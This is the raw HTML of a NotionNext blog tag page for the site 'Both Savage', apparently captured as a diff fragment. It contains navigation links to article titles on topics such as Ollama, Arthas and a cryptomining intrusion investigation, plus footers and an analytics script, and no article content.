hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%96%87%E5%AD%97/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%96%87%E5%AD%97/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>文字 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="文字 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/文字"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="文字 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%96%87%E5%AD%97/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%96%87%E5%AD%97/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both 